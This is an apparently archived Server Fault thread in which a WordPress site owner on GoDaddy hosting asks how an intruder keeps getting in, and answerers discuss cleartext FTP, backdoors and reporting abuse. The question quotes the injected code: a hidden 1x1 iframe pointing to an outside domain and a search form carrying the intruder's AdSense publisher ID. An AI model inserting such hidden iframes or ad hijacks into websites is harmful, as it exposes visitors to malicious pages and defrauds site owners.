Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Final Update:

Things have been peaceful for the past few weeks and taught me much more about website security and risks. Here's my version of story -

I was using an older version of wordpress and probably this person caught me from google. I think it was a script attack. Its difficult to say how and when the security was actually compromised, it came to my notice on Nov 5, 2009. While I took some safety measures at that time (described below) but there's always a possibility that I missed out rechanging wordpress passwords when I formatted my work computer.

Now I've deleted all unrequired php scripts from hosting, made administration part accessible only to my IP, blocked a particular IP range that belongs to vietnam. Daily backups and other stuff. The thing is that there are so many variables involved and its too difficult to keep track of each and everything. Main lesson is be prepared for it. :)


I'm on a shared hosting plan by GoDaddy and run a WordPress website. My website was hacked for the first time on Nov 5, 2009. At that time, the hacker replaced my ads with his own. I thought it happened because of my laziness with security, but I was so wrong.

I formatted my computer and setup everything again. Replaced ESET NOD32 with Microsoft Security Essentials. Upgraded to the latest version of WordPress. Changed all passwords. Setup a new database. And other security related stuff I read here and there. Things worked well for a while until my site was hacked again today.

Last time, the guy played with a lot of files and specifically changed footer.php and all ads related files. But this time he just went to the right place and replaced with following code -

<IFRAME height=1 src="http://blackberryrss.com/check.html" frameBorder=0 width=1></IFRAME>

<form action="http://www.google.com/cse" id="cse-search-box">
  <div>
    <input type="hidden" name="cx" value="partner-pub-2815780429722377:hhm6d0-6wfw" />

    <input type="hidden" name="ie" value="ISO-8859-1" />
    <input type="text" name="q" size="31" />
    <input type="submit" name="sa" value="Search" />
  </div>
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&amp;lang=en"></script>

Looks like that person isn't interested in manipulating database etc. but just place code and make quick money. Godaddy forwarded my ftp logs and there was an unauthorized access from IP - 117.2.56.31. This IP belongs to Vietnam and also http://blackberryrss.com has some connection to Vietnam.

There is no SSH access to my account and I connect to FTP using FireFTP. This was GoDaddy's response last time -

Upon reviewing your account we have found your FTP account has been compromised either due to malware on your local computer or a weak FTP/Hosting password.

But I had changed all passwords, deleted accounts etc. but nothing seems to work. I'm clueless at the moment. Please tell me what to do? How can I prevent unauthorized access to my account??????

Additional Details:

  • Strength of password is just Strong but not Best.
  • I personally use Windows XP SP3, Windows Firewall etc. After first attack I've learned to work using a user account and avoid administrator account.
  • When I see FTP logs for the first attack, its quite clear that person is manually doing all of this.
share|improve this question
    
Can you divulge the strength of your passwords? The following link can help with this: microsoft.com/protect/fraud/passwords/checker.aspx –  Jeff Yates Nov 23 '09 at 18:11
    
What EXACT OS are you using, what firewall, what services are running, what NICs are exposed - basically give us more info please, seeing what's been changed isn't enough, we need to know HOW it has been changed. Oh and by the way, this will have been a script that hit you, not a person on their own, 99% sure anyway. –  Chopper3 Nov 23 '09 at 18:13
3  
I'm hesitant to say this, but FTP is a bit of a pain. I'd be tempted to look for a hosting provider that would let me use sftp or scp. But that would probably cost more money. –  Tom O'Connor Nov 23 '09 at 18:44
    
Added more details, will get one 16 character super strong password but I don't think the guy could brute force the current password. –  Arpit Tambi Nov 23 '09 at 18:45
    
@Tom Could you please elaborate on SFTP or SCP. Host also offers a web based FTP through their site, is that okay? –  Arpit Tambi Nov 23 '09 at 18:46

7 Answers 7

up vote 8 down vote accepted

Keep in mind FTP sends your password in CLEAR TEXT. So the potential for compromise is definitely there.

Another thing to consider, is your FTP password UNIQUE to your hosting? Are you sure you're not using it ANYWHERE else? No other accounts, websites, etc?

How secure is your EMAIL password? I've been involved in cases where the "weak link" was actually the EMAIL password and the culprit was just sending "forgot passwords" to the email and deleting the evidence from the email box while everyone was too busy focusing on the compromised server to notice.

Just a few things that came to mind... some other things of course would be a social engineering approach with your ISP or some software vulnerability on your server or one of the packages your hosting.

There's more (obviously) but those are typically the "usual suspects".


UPDATE:

Based on this new information (that the hacker is not using FTP to change your files) I can only assume that the most likely cause is probably an unsecured web app.

That's not the ONLY thing it can be but in cases like this is the most likely.

Another thing to consider (and check for) is if he left himself some sort of "back door" to your app. I seem to recall you mentioning before that your ISP said he came in via FTP. Is it possible he came in via FTP the first time and left himself a back door?

Also, its a shot in the dark, but I have personally witnessed compromised boxes where a hacker only came in ONE time but left a cron job that kept changing files and other various evil. Is it possible that the hacker DIDN'T come back and you're dealing with an automated script? Just something to check if you feel you've exhausted all other possibilities.

Finally, do you have access to your web logs, system logs, etc? If so, what do they say? Do they reveal any clues?

share|improve this answer
    
The FTP account I occasionally use is not very unique to hosting but I don't use it for emails etc. Should I change host? tell me what to do? –  Arpit Tambi Nov 23 '09 at 18:50
1  
+1 good advice all around –  cop1152 Nov 23 '09 at 19:27
    
The guy is not using FTP to play with my files, what does this means? –  Arpit Tambi Nov 25 '09 at 11:00

You might want to read Detail Post-Mortem of a WordPress Hack. Another post that gives a lot of information about a WordPress blog hack with links. WordPress itself has an FAQ about what to do after your blog has been hacked.

WordPress is a heavily targeted application just because of it's popularity. Fighting hackers of thoses sites is a full time job. From your description, it sounds like someone has found an exploite of WordPress is using it to their full advantage. You sound like you're doing everything right so far, but I'm thinking that the attacker is dropping a file into your site and the attack from that direction. The first link I pointed you to goes into a very detailed description of this and what steps they took to counter it.

In the end, you might have to think about changing from WordPress to another blogging application. Good luck defending yourself, and hope this helps some.

share|improve this answer
    
This is what happened to me. Contributing factor with me was that I had a custom theme that didn't survive "upgrades" well and I had no time to keep fixing things. Once I got hacked, I threw in the towel. Now I'm one of the blogger billions. Simplistic blog, yes -- but less hack worry. –  David Mackintosh Nov 23 '09 at 20:05
    
I did everything you mentioned but hacked again, oops :( –  Arpit Tambi Nov 24 '09 at 15:38
    
Then I would move on to a different blogging platform. I would rather spend time blogging rather than hunting down security holes in a piece of software. –  Chris Nov 24 '09 at 16:21

GoDaddy gives you SSH access and you could connect to your account using Putty.exe on port 22. Once you are connected you can use Putty to create 2 proxy/tunnels on port 20 and 21. Then you can use ftp through the secured tunnel to get to your files.

Or, better yet, you can just do that same thing much simpler using the PSFTP.exe command or you can connect to port 22 with FileZilla client.

share|improve this answer
    
The bad guy is not using FTP to modify my site's contents. –  Arpit Tambi Nov 25 '09 at 11:01

Silly question, but - have you tried changing password and using another computer whatsoever? Maybe there is a keystroke logger on your PC.

I suspect a prank here, or at least a targeted attack. Is anyone you know willing to play such a joke..?

Step out of box before getting too paranoid. It helps.

ps: or perhaps a mis-used wordpress theme. Or wrong credentials on DB access.

share|improve this answer

Unless you run all FTP sessions through a secure tunnel (or better yet, use sftp) that password WILL get sniffed.

Our standard practice is to not have FTP on at all. If necessary then we only allow anonymous ftp and to heavily restrict that to a known area.

If upload is required we disallow listing ot the upload directory.

share|improve this answer

To be honest I would ask the ISP to block that IP at the firewall level. If GoDaddy is unwilling to do that, then to me that seems like they are an irresponsible hoster who won't take steps to protect your data and you should switch.

blackberryrss.com is located in the US so you have some leverage you can take:
DNS Stuff

Report the publisher ID here, Google is EXTREMELY serious when it comes to fraudlent activity within their adsense network. Report Google Adsense abuse

In fact to be honest GoDaddy shouldn't even be letting it in because the reverse DNS of that IP is "localhost" which is a HUGE red flag. Only 1 IPv4 address should resolve to localhost (assuming of course we are just talking about the standard IP addresses) and that is 127.0.0.1. DNS Stuff

To dig even deeper into the rabbit hole it seems like bluehost is hosting their server, so give them a ring and see what they want to do (if anything).

And you always have the option to report to your local authorities (it is a crime to gain access to networks and computers which you have no right or privilege to access)

share|improve this answer
    
I reported that publisher id earlier today. So on 3rd attack, hacker just placed iframe no ad codes this time. But no response from Google Adsense so far. –  Arpit Tambi Nov 24 '09 at 15:33
    
I will talk GoDaddy regarding this IP. I already mailed to HostMonster but no response so far. May be I'll email to bluehost too. –  Arpit Tambi Nov 24 '09 at 15:37

Your FTP password's getting sniffed, it happens with our sites hosted there a great deal.

share|improve this answer
    
will change hosting plan soon –  Arpit Tambi Dec 18 '09 at 13:30

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.